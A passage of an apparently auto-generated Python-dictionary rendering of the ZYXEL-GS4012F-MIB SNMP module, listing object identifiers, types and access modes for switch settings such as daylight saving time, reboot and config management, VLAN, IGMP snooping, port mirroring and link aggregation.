"number" : "1"
},
"tuesday" : {
"nodetype" : "namednumber",
"number" : "2"
},
"wednesday" : {
"nodetype" : "namednumber",
"number" : "3"
},
"thursday" : {
"nodetype" : "namednumber",
"number" : "4"
},
"friday" : {
"nodetype" : "namednumber",
"number" : "5"
},
"saturday" : {
"nodetype" : "namednumber",
"number" : "6"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service start day.""",
}, # scalar
"daylightSavingTimeStartDateMonth" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"january" : {
"nodetype" : "namednumber",
"number" : "1"
},
"february" : {
"nodetype" : "namednumber",
"number" : "2"
},
"march" : {
"nodetype" : "namednumber",
"number" : "3"
},
"april" : {
"nodetype" : "namednumber",
"number" : "4"
},
"may" : {
"nodetype" : "namednumber",
"number" : "5"
},
"june" : {
"nodetype" : "namednumber",
"number" : "6"
},
"july" : {
"nodetype" : "namednumber",
"number" : "7"
},
"august" : {
"nodetype" : "namednumber",
"number" : "8"
},
"september" : {
"nodetype" : "namednumber",
"number" : "9"
},
"october" : {
"nodetype" : "namednumber",
"number" : "10"
},
"november" : {
"nodetype" : "namednumber",
"number" : "11"
},
"december" : {
"nodetype" : "namednumber",
"number" : "12"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service start month.""",
}, # scalar
"daylightSavingTimeStartDateHour" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service start time.""",
}, # scalar
"daylightSavingTimeEndDateWeek" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"first" : {
"nodetype" : "namednumber",
"number" : "1"
},
"second" : {
"nodetype" : "namednumber",
"number" : "2"
},
"third" : {
"nodetype" : "namednumber",
"number" : "3"
},
"fourth" : {
"nodetype" : "namednumber",
"number" : "4"
},
"last" : {
"nodetype" : "namednumber",
"number" : "5"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service end week.""",
}, # scalar
"daylightSavingTimeEndDateDay" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.7",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"sunday" : {
"nodetype" : "namednumber",
"number" : "0"
},
"monday" : {
"nodetype" : "namednumber",
"number" : "1"
},
"tuesday" : {
"nodetype" : "namednumber",
"number" : "2"
},
"wednesday" : {
"nodetype" : "namednumber",
"number" : "3"
},
"thursday" : {
"nodetype" : "namednumber",
"number" : "4"
},
"friday" : {
"nodetype" : "namednumber",
"number" : "5"
},
"saturday" : {
"nodetype" : "namednumber",
"number" : "6"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service end day.""",
}, # scalar
"daylightSavingTimeEndDateMonth" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.8",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"january" : {
"nodetype" : "namednumber",
"number" : "1"
},
"february" : {
"nodetype" : "namednumber",
"number" : "2"
},
"march" : {
"nodetype" : "namednumber",
"number" : "3"
},
"april" : {
"nodetype" : "namednumber",
"number" : "4"
},
"may" : {
"nodetype" : "namednumber",
"number" : "5"
},
"june" : {
"nodetype" : "namednumber",
"number" : "6"
},
"july" : {
"nodetype" : "namednumber",
"number" : "7"
},
"august" : {
"nodetype" : "namednumber",
"number" : "8"
},
"september" : {
"nodetype" : "namednumber",
"number" : "9"
},
"october" : {
"nodetype" : "namednumber",
"number" : "10"
},
"november" : {
"nodetype" : "namednumber",
"number" : "11"
},
"december" : {
"nodetype" : "namednumber",
"number" : "12"
},
},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service end month.""",
}, # scalar
"daylightSavingTimeEndDateHour" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.11.10.9",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Daylight saving time service end time.""",
}, # scalar
"sysMgmt" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12",
}, # node
"sysMgmtConfigSave" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"config_1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"config_2" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""If setting value is given, the variable write index will be set and running-config will be written to the assigned configuration file.
If not, running-config will be written to the booting one.""",
}, # scalar
"sysMgmtBootupConfig" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"config_1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"config_2" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""The setting value (read index) will be written into non-volatile memory.
While rebooting, the variable write index is equal to read index initially.
You can change the value of write index by CLI / MIB.""",
}, # scalar
"sysMgmtReboot" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.3",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"nothing" : {
"nodetype" : "namednumber",
"number" : "0"
},
"reboot" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""Reboot switch from SNMP. 1:Reboot, 0:Nothing""",
}, # scalar
"sysMgmtDefaultConfig" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.4",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"nothing" : {
"nodetype" : "namednumber",
"number" : "0"
},
"reset_to_default" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""Erase running config and reset to default.""",
}, # scalar
"sysMgmtLastActionStatus" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.5",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"success" : {
"nodetype" : "namednumber",
"number" : "1"
},
"fail" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readonly",
"description" :
"""Display status of last mgmt action.""",
}, # scalar
"sysMgmtSystemStatus" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Bits",
"sysAlarmDetected" : {
"nodetype" : "namednumber",
"number" : "0"
},
"sysTemperatureError" : {
"nodetype" : "namednumber",
"number" : "1"
},
"sysFanRPMError" : {
"nodetype" : "namednumber",
"number" : "2"
},
"sysVoltageRangeError" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readonly",
"description" :
"""This variable indicates the status of the system.
The sysMgmtAlarmStatus is a bit map represented
a sum, therefore, it can represent multiple defects
simultaneously. The sysNoDefect should be set if and only if
no other flag is set.
The various bit positions are:
0 sysAlarmDetected
1 sysTemperatureError
2 sysFanRPMError
3 sysVoltageRangeError""",
}, # scalar
"sysMgmtCPUUsage" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""Show device CPU load in %, it's the snapshot of CPU load when
getting the values.""",
}, # scalar
"sysMgmtCounterReset" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.9",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"enable" : {
"nodetype" : "namednumber",
"number" : "1"
},
"disable" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""Reset all port counters.""",
}, # scalar
"sysMgmtTftpServiceSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.10",
}, # node
"sysMgmtTftpServerIp" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.10.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
""" IP address of TFTP server""",
}, # scalar
"sysMgmtTftpRemoteFileName" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.12.10.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""The file name that you want to backup to or restore from TFTP server""",
}, # scalar
"layer2Setup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13",
}, # node
"vlanTypeSetup" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"dot1Q" : {
"nodetype" : "namednumber",
"number" : "1"
},
"port_based" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"igmpSnoopingStateSetup" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"tagVlanPortIsolationState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"stpState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"igmpFilteringStateSetup" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"unknownMulticastFrameForwarding" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.6",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"flooding" : {
"nodetype" : "namednumber",
"number" : "1"
},
"drop" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"multicastGrpHostTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.7",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Specify host timeout for all multicast groups when the specific port is in auto mode.""",
}, # scalar
"multicastGrpLeaveTimeout" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.8",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Specify leave timeout for all multicast groups.""",
}, # scalar
"reservedMulticastFrameForwarding" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.9",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"flooding" : {
"nodetype" : "namednumber",
"number" : "1"
},
"drop" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"igmpsnp8021pPriority" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.10",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""Set the 802.1p priority of control messages for igmp-snooping(0~8, 8-No Change)""",
}, # scalar
"igmpsnpVlanMode" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.11",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"auto" : {
"nodetype" : "namednumber",
"number" : "1"
},
"fixed" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"stpMode" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.12",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"rstp" : {
"nodetype" : "namednumber",
"number" : "1"
},
"mrstp" : {
"nodetype" : "namednumber",
"number" : "2"
},
"mstp" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"igmpsnpVlanTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.13",
"status" : "current",
"description" :
"""""",
}, # table
"igmpsnpVlanEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.13.1",
"create" : "true",
"status" : "current",
"linkage" : [
"igmpsnpVid",
],
"description" :
"""An entry in IgmpsnpVlanTable.""",
}, # row
"igmpsnpVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.13.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"igmpsnpVlanName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.13.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"igmpsnpVlanRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.13.13.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"ipSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14",
}, # node
"dnsIpAddress" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"defaultMgmt" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"in_band" : {
"nodetype" : "namednumber",
"number" : "0"
},
"out_of_band" : {
"nodetype" : "namednumber",
"number" : "1"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"defaultGateway" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"outOfBandIpSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.4",
}, # node
"outOfBandIp" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.4.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"outOfBandSubnetMask" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.4.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"outOfBandGateway" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.4.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"maxNumOfInbandIp" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # scalar
"inbandIpTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6",
"status" : "current",
"description" :
"""""",
}, # table
"inbandIpEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6.1",
"create" : "true",
"status" : "current",
"linkage" : [
"inbandEntryIp",
"inbandEntrySubnetMask",
],
"description" :
"""An entry in inbandIpTable.""",
}, # row
"inbandEntryIp" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"inbandEntrySubnetMask" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-SMI", "name" : "IpAddress"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"inbandEntryVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"inbandEntryRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.14.6.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"filterSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15",
}, # node
"filterTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1",
"status" : "current",
"description" :
"""""",
}, # table
"filterEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1",
"create" : "true",
"status" : "current",
"linkage" : [
"filterMacAddr",
"filterVid",
],
"description" :
"""An entry in filterTable.""",
}, # row
"filterName" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"RFC1213-MIB", "name" : "DisplayString"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"filterActionState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"discard_source" : {
"nodetype" : "namednumber",
"number" : "1"
},
"discard_destination" : {
"nodetype" : "namednumber",
"number" : "2"
},
"both" : {
"nodetype" : "namednumber",
"number" : "3"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"filterMacAddr" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "MacAddress"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"filterVid" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1.4",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"filterRowStatus" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.15.1.1.5",
"status" : "current",
"syntax" : {
"type" : { "module" :"SNMPv2-TC", "name" : "RowStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mirrorSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16",
}, # node
"mirrorState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"mirrorMonitorPort" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"mirrorTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.3",
"status" : "current",
"description" :
"""""",
}, # table
"mirrorEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.3.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in mirrorTable.""",
}, # row
"mirrorMirroredState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"mirrorDirection" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.16.3.1.2",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"ingress" : {
"nodetype" : "namednumber",
"number" : "0"
},
"egress" : {
"nodetype" : "namednumber",
"number" : "1"
},
"both" : {
"nodetype" : "namednumber",
"number" : "2"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"aggrSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17",
}, # node
"aggrState" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"aggrSystemPriority" : {
"nodetype" : "scalar",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # scalar
"aggrGroupTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.3",
"status" : "current",
"description" :
"""""",
}, # table
"aggrGroupEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.3.1",
"status" : "current",
"linkage" : [
"aggrGroupIndex",
],
"description" :
"""An entry in aggrGroupTable.""",
}, # row
"aggrGroupIndex" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.3.1.1",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readonly",
"description" :
"""""",
}, # column
"aggrGroupState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.3.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"aggrGroupDynamicState" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.3.1.3",
"status" : "current",
"syntax" : {
"type" : { "module" :"P-BRIDGE-MIB", "name" : "EnabledStatus"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"aggrPortTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.4",
"status" : "current",
"description" :
"""""",
}, # table
"aggrPortEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.4.1",
"status" : "current",
"linkage" : [
"dot1dBasePort",
],
"description" :
"""An entry in aggrPortTable.""",
}, # row
"aggrPortGroup" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.4.1.1",
"status" : "current",
"syntax" : {
"type" : {
"basetype" : "Enumeration",
"none" : {
"nodetype" : "namednumber",
"number" : "0"
},
"t1" : {
"nodetype" : "namednumber",
"number" : "1"
},
"t2" : {
"nodetype" : "namednumber",
"number" : "2"
},
"t3" : {
"nodetype" : "namednumber",
"number" : "3"
},
"t4" : {
"nodetype" : "namednumber",
"number" : "4"
},
"t5" : {
"nodetype" : "namednumber",
"number" : "5"
},
"t6" : {
"nodetype" : "namednumber",
"number" : "6"
},
},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"aggrPortDynamicStateTimeout" : {
"nodetype" : "column",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.17.4.1.2",
"status" : "current",
"syntax" : {
"type" : { "module" :"", "name" : "Integer32"},
},
"access" : "readwrite",
"description" :
"""""",
}, # column
"accessCtlSetup" : {
"nodetype" : "node",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18",
}, # node
"accessCtlTable" : {
"nodetype" : "table",
"moduleName" : "ZYXEL-GS4012F-MIB",
"oid" : "1.3.6.1.4.1.890.1.5.8.20.18.1",
"status" : "current",
"description" :
"""""",
}, # table
"accessCtlEntry" : {
"nodetype" : "row",
"moduleName" : "ZYXEL-GS4012F-MIB",
